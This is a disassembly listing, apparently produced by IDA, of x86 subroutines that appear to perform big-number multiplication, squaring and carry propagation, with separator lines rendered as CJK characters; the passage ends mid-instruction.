loc_805901E: ; CODE XREF: sub_8058E20+1E8j mov edx, eax add esp, 10h loc_8059023: ; CODE XREF: sub_8058E20+1D4j mov edi, [ebp+arg_C] mov esi, [ebp+var_8] mov [esi+edi*4], edx add ebx, 8 add [ebp+var_4], 2 cmp [ebp+var_4], edi jnz loc_8058F98 loc_805903C: ; CODE XREF: sub_8058E20+11Bj ; sub_8058E20+16Fj lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8058E20 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8059048 proc near ; CODE XREF: sub_805876C+2AEp ; sub_805876C+2FEp ... var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov esi, [ebp+arg_C] test esi, 1 jz loc_805911C dec esi mov [ebp+var_14], esi cmp esi, 1Fh jle short loc_80590D4 mov edi, [ebp+arg_10] push edi push esi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_0] push esi call sub_8059048 add esp, 14h loc_8059082: ; CODE XREF: sub_8059048+A4j mov edi, [ebp+var_14] mov esi, [ebp+arg_8] mov eax, [esi+edi*4] push eax push edi mov edi, [ebp+arg_4] push edi mov esi, [ebp+var_14] mov edi, [ebp+arg_0] lea ebx, [edi+esi*4] push ebx call sub_8066420 mov edx, eax mov eax, [ebp+var_14] add eax, eax mov [edi+eax*4], edx mov edi, [ebp+arg_4] mov eax, [edi+esi*4] push eax mov esi, [ebp+arg_C] push esi mov edi, [ebp+arg_8] push edi push ebx call sub_8066420 mov edx, eax mov eax, [ebp+arg_C] add eax, [ebp+var_14] mov esi, [ebp+arg_0] mov [esi+eax*4], edx jmp loc_8059710 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80590D4: ; CODE XREF: sub_8059048+1Fj mov edi, [ebp+var_14] push edi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_0] push esi call sub_8058E20 add esp, 10h jmp short loc_8059082 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80590F0: ; CODE XREF: sub_8059048+E0j mov edi, [ebp+var_4] push edi lea eax, ds:0[edi*4] mov edx, [ebp+arg_8] add edx, eax push edx add eax, [ebp+arg_4] push eax mov esi, [ebp+arg_C] mov edi, [ebp+arg_0] lea eax, [edi+esi*4] push eax call sub_8058E20 add esp, 10h jmp short loc_8059152 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805911C: ; CODE XREF: sub_8059048+12j mov esi, [ebp+arg_C] sar esi, 1 mov [ebp+var_4], esi cmp esi, 1Fh jle short loc_80590F0 mov edi, [ebp+arg_10] push edi push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_8] add edx, eax push edx add eax, [ebp+arg_4] push eax mov esi, [ebp+arg_C] mov edi, [ebp+arg_0] lea eax, [edi+esi*4] push eax call sub_8059048 add esp, 14h loc_8059152: ; CODE XREF: sub_8059048+CFj mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_4] push edi lea ebx, [edi+esi*4] push ebx call sub_8057F48 add esp, 0Ch test eax, eax jl short loc_8059180 push esi push edi push ebx mov esi, [ebp+arg_0] push esi call sub_805A010 mov [ebp+var_C], 0 jmp short loc_805919C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059180: ; CODE XREF: sub_8059048+120j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] lea eax, [esi+edi*4] push eax push esi mov edi, [ebp+arg_0] push edi call sub_805A010 mov [ebp+var_C], 1 loc_805919C: ; CODE XREF: sub_8059048+135j add esp, 10h mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_8] push edi shl esi, 2 mov [ebp+var_14], esi mov ebx, [ebp+arg_8] add ebx, esi push ebx call sub_8057F48 add esp, 0Ch test eax, eax jl short loc_80591F8 mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_8] push esi push ebx mov eax, [ebp+arg_0] add eax, [ebp+var_14] push eax call sub_805A010 xor byte ptr [ebp+var_C], 1 jmp short loc_8059216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80591DC: ; CODE XREF: sub_8059048+1D5j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax push esi mov edi, [ebp+arg_10] push edi call sub_8058E20 add esp, 10h jmp short loc_8059241 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80591F8: ; CODE XREF: sub_8059048+175j mov esi, [ebp+var_4] push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_8] add edx, eax push edx mov edi, [ebp+arg_8] push edi add eax, [ebp+arg_0] push eax call sub_805A010 loc_8059216: ; CODE XREF: sub_8059048+190j add esp, 10h cmp [ebp+var_4], 1Fh jle short loc_80591DC mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] lea eax, [edi+esi*4] push eax mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_0] lea eax, [edi+esi*4] push eax push edi mov esi, [ebp+arg_10] push esi call sub_8059048 add esp, 14h loc_8059241: ; CODE XREF: sub_8059048+1ACj cmp [ebp+var_4], 0 jle loc_80592CF mov edi, [ebp+arg_C] lea edx, ds:0[edi*4] mov esi, [ebp+var_4] lea ecx, ds:0[esi*4] lea ebx, [edx+ecx] mov eax, esi and eax, 3 jz short loc_80592A4 cmp eax, 1 jle short loc_8059291 cmp eax, 2 jle short loc_8059282 mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax add edx, 4 add ecx, 4 loc_8059282: ; CODE XREF: sub_8059048+229j mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax add edx, 4 add ecx, 4 loc_8059291: ; CODE XREF: sub_8059048+224j mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax add edx, 4 add ecx, 4 cmp edx, ebx jz short loc_80592CF loc_80592A4: ; CODE XREF: sub_8059048+21Fj ; sub_8059048+285j mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax mov eax, [esi+edx+4] mov [esi+ecx+4], eax mov eax, [esi+edx+8] mov [esi+ecx+8], eax mov eax, [esi+edx+0Ch] mov [esi+ecx+0Ch], eax add edx, 10h add ecx, 10h cmp edx, ebx jnz short loc_80592A4 loc_80592CF: ; CODE XREF: sub_8059048+1FDj ; sub_8059048+25Aj mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_C] mov edi, [ebp+arg_0] lea edx, [edi+esi*4] mov esi, [ebp+var_4] lea ebx, ds:0[esi*4] lea eax, [ebx+edx] push eax push edx push edx call sub_8066380 mov [ebp+var_8], eax add esp, 10h cmp [ebp+var_C], 0 jz short loc_8059334 mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_10] push esi mov eax, [ebp+arg_0] add eax, ebx push eax push eax call sub_805A010 sub [ebp+var_8], eax jmp short loc_805934F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059318: ; CODE XREF: sub_8059048+30Ej mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_10] push esi call sub_8058E20 add esp, 10h jmp short loc_805937A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059334: ; CODE XREF: sub_8059048+2B3j mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_10] push esi mov edi, [ebp+var_4] mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax push eax call sub_8066380 add [ebp+var_8], eax loc_805934F: ; CODE XREF: sub_8059048+2CCj add esp, 10h cmp [ebp+var_4], 1Fh jle short loc_8059318 mov edi, [ebp+arg_C] mov esi, [ebp+arg_10] lea eax, [esi+edi*4] push eax mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_10] push esi call sub_8059048 add esp, 14h loc_805937A: ; CODE XREF: sub_8059048+2E8j mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_10] push esi mov edi, [ebp+var_4] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] push ebx push ebx call sub_8066380 add [ebp+var_8], eax add esp, 10h cmp [ebp+var_8], 0 jz loc_805950C mov edi, [ebp+arg_C] lea ebx, [ebx+edi*4] mov esi, [ebp+var_4] mov [ebp+var_10], esi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_14], edi mov eax, [ebp+var_8] add eax, edx mov [ebx], eax mov ebx, [ebp+var_14] cmp eax, edx jnb loc_805949C dec esi mov [ebp+var_10], esi jz loc_805950C mov eax, esi neg eax and eax, 3 test esi, esi jle short loc_8059422 test eax, eax jz short loc_8059440 cmp eax, 3 jge short loc_8059422 cmp eax, 2 jge short loc_805940A mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_14], esi mov [ebx], edx mov ebx, [ebp+var_14] test edx, edx jnz loc_805949C mov edi, [ebp+var_4] add edi, 0FFFFFFFEh mov [ebp+var_10], edi loc_805940A: ; CODE XREF: sub_8059048+3A1j mov esi, [ebp+var_14] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] loc_8059422: ; CODE XREF: sub_8059048+393j ; sub_8059048+39Cj mov edi, [ebp+var_14] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] jz loc_805950C loc_8059440: ; CODE XREF: sub_8059048+397j ; sub_8059048+44Fj mov esi, [ebp+var_14] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] jnz short loc_8059440 jmp short loc_805950C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805949C: ; CODE XREF: sub_8059048+37Aj ; sub_8059048+3B3j ... cmp [ebp+var_14], ebx jz short loc_805950C xor ecx, ecx mov edi, [ebp+var_10] dec edi mov [ebp+var_10], edi cmp ecx, edi jge short loc_805950C mov eax, edi and eax, 3 jz short loc_80594E0 cmp eax, 1 jle short loc_80594D1 cmp eax, 2 jle short loc_80594C7 mov esi, [ebp+var_14] mov eax, [esi] mov [ebx], eax inc ecx loc_80594C7: ; CODE XREF: sub_8059048+475j mov edi, [ebp+var_14] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_80594D1: ; CODE XREF: sub_8059048+470j mov esi, [ebp+var_14] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_10], ecx jz short loc_805950C loc_80594E0: ; CODE XREF: sub_8059048+46Bj ; sub_8059048+4C2j mov edi, [ebp+var_14] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [edi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_10], ecx jnz short loc_80594E0 loc_805950C: ; CODE XREF: sub_8059048+354j ; sub_8059048+384j ... xor ecx, ecx cmp [ebp+var_4], ecx jle short loc_805957F mov eax, [ebp+var_4] and eax, 3 jz short loc_8059550 cmp eax, 1 jle short loc_805953D cmp eax, 2 jle short loc_8059530 mov esi, [ebp+arg_10] mov eax, [esi] mov edi, [ebp+arg_0] mov [edi], eax inc ecx loc_8059530: ; CODE XREF: sub_8059048+4DBj mov esi, [ebp+arg_10] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx loc_805953D: ; CODE XREF: sub_8059048+4D6j mov esi, [ebp+arg_10] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx cmp [ebp+var_4], ecx jz short loc_805957F nop loc_8059550: ; CODE XREF: sub_8059048+4D1j ; sub_8059048+535j mov esi, [ebp+arg_10] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax lea eax, [ecx+1] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+2] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+3] mov edx, [esi+eax*4] mov [edi+eax*4], edx add ecx, 4 cmp [ebp+var_4], ecx jnz short loc_8059550 loc_805957F: ; CODE XREF: sub_8059048+4C9j ; sub_8059048+505j mov esi, [ebp+var_4] push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_10] add edx, eax push edx add eax, [ebp+arg_0] push eax push eax call sub_8066380 mov [ebp+var_8], eax test eax, eax jz loc_8059710 mov edi, [ebp+arg_C] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] mov [ebp+var_10], edi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_14], edi lea eax, [edx+1] mov [ebx], eax mov ebx, [ebp+var_14] cmp eax, edx jnb loc_80596A0 dec [ebp+var_10] jz loc_8059710 mov eax, [ebp+var_10] neg eax and eax, 3 cmp [ebp+var_10], 0 jle short loc_8059623 test eax, eax jz short loc_8059644 cmp eax, 3 jge short loc_8059623 cmp eax, 2 jge short loc_8059607 mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_14], esi mov [ebx], edx mov ebx, [ebp+var_14] test edx, edx jnz loc_80596A0 dec [ebp+var_10] loc_8059607: ; CODE XREF: sub_8059048+5A4j mov edi, [ebp+var_14] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz loc_80596A0 dec [ebp+var_10] loc_8059623: ; CODE XREF: sub_8059048+596j ; sub_8059048+59Fj mov esi, [ebp+var_14] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] jz loc_8059710 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8059644: ; CODE XREF: sub_8059048+59Aj ; sub_8059048+653j mov edi, [ebp+var_14] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] jnz short loc_8059644 jmp short loc_8059710 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80596A0: ; CODE XREF: sub_8059048+57Bj ; sub_8059048+5B6j ... cmp [ebp+var_14], ebx jz short loc_8059710 xor ecx, ecx mov esi, [ebp+var_10] dec esi mov [ebp+var_10], esi cmp ecx, esi jge short loc_8059710 mov eax, esi and eax, 3 jz short loc_80596E4 cmp eax, 1 jle short loc_80596D5 cmp eax, 2 jle short loc_80596CB mov edi, [ebp+var_14] mov eax, [edi] mov [ebx], eax inc ecx loc_80596CB: ; CODE XREF: sub_8059048+679j mov esi, [ebp+var_14] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_80596D5: ; CODE XREF: sub_8059048+674j mov edi, [ebp+var_14] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_10], ecx jz short loc_8059710 loc_80596E4: ; CODE XREF: sub_8059048+66Fj ; sub_8059048+6C6j mov esi, [ebp+var_14] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [esi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_10], ecx jnz short loc_80596E4 loc_8059710: ; CODE XREF: sub_8059048+85j ; sub_8059048+557j ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8059048 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805971C proc near ; CODE XREF: sub_8059938+8Cp ; sub_8059938+ADp ... var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [esi] cmp eax, 1 ja loc_8059810 jnz short loc_80597AC xor ecx, ecx cmp [ebp+arg_8], ecx jle loc_805980B mov eax, [ebp+arg_8] and eax, 3 jz short loc_805977C cmp eax, 1 jle short loc_8059766 cmp eax, 2 jle short loc_805975C mov dword ptr [ebx], 1 inc ecx loc_805975C: ; CODE XREF: sub_805971C+37j mov edi, [ebp+arg_4] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_8059766: ; CODE XREF: sub_805971C+32j mov esi, [ebp+arg_4] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+arg_8], ecx jz loc_805980B db 8Dh,76h,0 ; lea esi, [esi+0] loc_805977C: ; CODE XREF: sub_805971C+2Dj ; sub_805971C+8Aj mov edi, [ebp+arg_4] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax lea eax, [ecx+1] mov edx, [edi+eax*4] mov [ebx+eax*4], edx lea eax, [ecx+2] mov edx, [edi+eax*4] mov [ebx+eax*4], edx lea eax, [ecx+3] mov edx, [edi+eax*4] mov [ebx+eax*4], edx add ecx, 4 cmp [ebp+arg_8], ecx jnz short loc_805977C jmp short loc_805980B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80597AC: ; CODE XREF: sub_805971C+1Aj xor eax, eax cmp [ebp+arg_8], eax jle short loc_805980B mov edx, [ebp+arg_8] and edx, 3 jz short loc_80597E4 cmp edx, 1 jle short loc_80597D4 cmp edx, 2 jle short loc_80597CC mov dword ptr [ebx], 0 inc eax loc_80597CC: ; CODE XREF: sub_805971C+A7j mov dword ptr [ebx+eax*4], 0 inc eax loc_80597D4: ; CODE XREF: sub_805971C+A2j mov dword ptr [ebx+eax*4], 0 inc eax cmp [ebp+arg_8], eax jz short loc_805980B db 8Dh,76h,0 ; lea esi, [esi+0] loc_80597E4: ; CODE XREF: sub_805971C+9Dj ; sub_805971C+EDj mov dword ptr [ebx+eax*4], 0 mov dword ptr [ebx+eax*4+4], 0 mov dword ptr [ebx+eax*4+8], 0 mov dword ptr [ebx+eax*4+0Ch], 0 add eax, 4 cmp [ebp+arg_8], eax jnz short loc_80597E4 loc_805980B: ; CODE XREF: sub_805971C+21j ; sub_805971C+57j ... xor edx, edx jmp short loc_8059824 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059810: ; CODE XREF: sub_805971C+14j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi push ebx call sub_8058DE0 mov edx, eax add esp, 10h loc_8059824: ; CODE XREF: sub_805971C+F1j mov esi, [ebp+arg_8] mov [ebx+esi*4], edx add ebx, 4 mov [ebp+var_4], 1 cmp [ebp+var_4], esi jge loc_805992C test esi, 1 jnz short loc_8059890 mov edi, [ebp+arg_4] mov eax, [edi+4] cmp eax, 1 ja short loc_8059864 xor edx, edx cmp eax, 1 jnz short loc_8059878 push esi push edi push ebx push ebx call sub_8066380 jmp short loc_8059873 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059864: ; CODE XREF: sub_805971C+132j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi push ebx call sub_8066420 loc_8059873: ; CODE XREF: sub_805971C+144j mov edx, eax add esp, 10h loc_8059878: ; CODE XREF: sub_805971C+139j mov esi, [ebp+arg_8] mov [ebx+esi*4], edx add ebx, 4 inc [ebp+var_4] cmp [ebp+var_4], esi jz loc_805992C db 8Dh,76h,0 ; lea esi, [esi+0] loc_8059890: ; CODE XREF: sub_805971C+127j ; sub_805971C+20Aj mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov eax, [esi+edi*4] cmp eax, 1 ja short loc_80598B4 xor edx, edx cmp eax, 1 jnz short loc_80598C8 mov edi, [ebp+arg_8] push edi push esi push ebx push ebx call sub_8066380 jmp short loc_80598C3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80598B4: ; CODE XREF: sub_805971C+180j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi push ebx call sub_8066420 loc_80598C3: ; CODE XREF: sub_805971C+195j mov edx, eax add esp, 10h loc_80598C8: ; CODE XREF: sub_805971C+187j mov esi, [ebp+arg_8] mov [ebx+esi*4], edx lea edi, [ebx+4] mov [ebp+var_8], edi mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, [edi+esi*4+4] cmp eax, 1 ja short loc_80598FC xor edx, edx cmp eax, 1 jnz short loc_8059913 mov esi, [ebp+arg_8] push esi push edi mov edi, [ebp+var_8] push edi push edi call sub_8066380 jmp short loc_805990E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80598FC: ; CODE XREF: sub_805971C+1C5j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+var_8] push esi call sub_8066420 loc_805990E: ; CODE XREF: sub_805971C+1DDj mov edx, eax add esp, 10h loc_8059913: ; CODE XREF: sub_805971C+1CCj mov edi, [ebp+arg_8] mov esi, [ebp+var_8] mov [esi+edi*4], edx add ebx, 8 add [ebp+var_4], 2 cmp [ebp+var_4], edi jnz loc_8059890 loc_805992C: ; CODE XREF: sub_805971C+11Bj ; sub_805971C+16Bj lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805971C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8059938 proc near ; CODE XREF: sub_8059938+2Ep ; sub_8059938+DCp ... var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov esi, [ebp+arg_8] test esi, 1 jz loc_80599F0 dec esi mov [ebp+var_10], esi cmp esi, 1Fh jle short loc_80599B8 mov edi, [ebp+arg_C] push edi push esi mov esi, [ebp+arg_4] push esi mov edi, [ebp+arg_0] push edi call sub_8059938 add esp, 10h loc_805996E: ; CODE XREF: sub_8059938+94j mov esi, [ebp+var_10] mov edi, [ebp+arg_4] mov eax, [edi+esi*4] push eax push esi push edi mov edi, [ebp+arg_0] lea ebx, [edi+esi*4] push ebx call sub_8066420 mov edx, eax mov eax, [ebp+var_10] add eax, eax mov [edi+eax*4], edx mov edi, [ebp+arg_4] mov eax, [edi+esi*4] push eax mov esi, [ebp+arg_8] push esi push edi push ebx call sub_8066420 mov edx, eax mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov edi, [ebp+arg_0] mov [edi+eax*4], edx jmp loc_8059F40 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80599B8: ; CODE XREF: sub_8059938+1Fj mov esi, [ebp+var_10] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_0] push esi call sub_805971C add esp, 0Ch jmp short loc_805996E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80599D0: ; CODE XREF: sub_8059938+C4j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] lea eax, [esi+edi*4] push eax mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax call sub_805971C add esp, 0Ch jmp short loc_8059A1C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80599F0: ; CODE XREF: sub_8059938+12j mov edi, [ebp+arg_8] sar edi, 1 mov [ebp+var_4], edi cmp edi, 1Fh jle short loc_80599D0 mov esi, [ebp+arg_C] push esi push edi mov esi, [ebp+arg_4] lea eax, [esi+edi*4] push eax mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax call sub_8059938 add 